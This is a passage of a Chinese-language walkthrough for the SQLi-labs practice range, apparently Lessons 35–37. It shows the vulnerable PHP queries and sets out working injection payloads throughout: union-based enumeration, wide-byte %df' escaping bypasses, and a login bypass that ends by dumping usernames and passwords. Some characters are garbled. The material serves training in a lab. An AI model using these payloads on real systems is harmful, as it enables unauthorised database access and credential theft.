注意:该题的过滤方式非常有意思,使用addslashes()函数过滤的是字符串,但在SQL语句中拼接的是字符,因此实际注入与平常的数字型注入无差别 使用联合查询判断注入点 id=1 and 1=1 //返回正确界面 id=1 and 1=2 //返回错误界面 判断字段数 id=1 order by 3# //返回正常界面 id=1 order by 4# //返回报错界面 由此可说明字段数为3,通过 union select 查看回显位置 id=-1 union select 1,2,3# 查询基础信息 id=-1 union select 1,user(),version()#id=-1 union select 1,database(),3# 查询表名,将原先的输出库名的'转换为database()函数,当然也可以转换为十进制输出 id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()# 查询列名 id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273# 查询关键信息 id=-1 union select 1,group_concat(username),group_concat(password) from users# Lesson-36该题为单引号get型注入,利用方式包括联合查询注入、报错注入、布尔盲注、时间盲注 id=1' 目标SQL语句如下: $id=check_quotes($_GET['id']);
$sql='SELECT * FROM users WHERE id='$id' LIMIT 0,1'; # 返回内容 if true: 输出查询内容; else: print_r(mysql_error()); function check_quotes($string) { $string= mysql_real_escape_string($string); return $string; } 注意:该题与Lesson33的利用方式相同,只不过更换了过滤函数mysql_real_escape_string(),该函数可在预定义字符之前添加反斜杠
使用联合查询判断注入点,尝试验证 id=1%df' //返回报错界面 id=1%df'--+ //返回正常界面 判断字段数 id=1%df' order by 3--+ //返回正确界面 id=1%df' order by 4--+ //返回报错界面 由此可说明字段数为3,通过 union select 查看回显位置 id=-1%df' union select 1,2,3--+ 查询基础信息 id=-1%df' union select 1,user(),3--+ id=-1%df' union select 1,version(),3--+ id=-1%df' union select 1,database(),3--+ 查询表名,将原先的输出库名的'转换为database()函数,当然也可以转换为十进制输出 id=-1%df' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+ 查询列名 id=-1%df' union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273--+ 查询关键信息 id=-1%df' union select 1,group_concat(username),group_concat(password) from users--+ Lesson-37该题为单引号post型注入,利用方式包括联合查询注入、报错注入、布尔盲注、时间盲注,登录界面以 post 方式接收变量 目标SQL语句如下: $uname1=$_POST['uname']; $passwd1=$_POST['passwd'];
$uname = mysql_real_escape_string($uname1); $passwd= mysql_real_escape_string($passwd1); @$sql='SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1'; # 返回内容 if true: 输出查询内容; else: print_r(mysql_error()); 注意:该题与Lesson36的利用方式相同,只不过将请求方式由 使用 echo \'|iconv -f utf-8 -t utf-16echo \'|iconv -f utf-8 -t utf-32 截取登录请求包并复制以上乱码字符使用万能密码进行登录,成功登录 uname=admin�'%20or%201#&passwd=admin&submit=Submit 那为什么这个万能密码能够生效呢?我们尝试将其代入SQL语句当中 SELECT username, password FROM users WHERE username='admin�' or 1#' and password='admin' LIMIT 0,1;
需要注意的是这里的 使用联合查询判断字段数 uname=admin�'%20order%20by%202#&passwd=admin&submit=Submit //返回正常界面 uname=admin�'%20order%20by%203#&passwd=admin&submit=Submit //返回报错界面
由此可说明字段数为2,通过 union select 查看回显位置 uname=admin�'%20union%20select%201,2#&passwd=admin&submit=Submit 查询基础信息 uname=admin�'%20union%20select%20user(),version()#&passwd=admin&submit=Submit uname=admin�'%20union%20select%20database(),2#&passwd=admin&submit=Submit 查询表名,将原先的输出库名的'转换为database()函数,当然也可以转换为十进制输出 uname=admin�'%20union%20select%201,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()#&passwd=admin&submit=Submit 查询列名 uname=admin�'%20union%20select%201,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=0x7573657273#&passwd=admin&submit=Submit 查询关键信息 uname=admin�'%20union%20select%20group_concat(username),group_concat(password)%20from%20users#&passwd=admin&submit=Submit 0x02 总结该靶场是学习 SQL 注入的好途径,刷完全部题目后面对 SQL 注入的了解有很大帮助,整个靶场以 MySQL + PHP 搭建环境为主,根据不同环境切换了 Windows、Linux 以及 Tomcat 代理。如果想要测试目标点是否存在 SQL 注入,我们应该从请求方式、注入点闭合方式、请求头部、后端SQL语句以及注入方式等方面进行考虑,确定了这些后再想方设法绕过站点中的 一些限制性因素情况等,其实这就是手工注入的魅力,当然会使用 sqlmap 也是一件好事,有了手工+自动两种方式的结合,在面对一般的 SQL 注入问题都可以迎刃而解。本文详细讲解了21-37关高级注入的通关教程,至此SQLi靶场完结。 |
|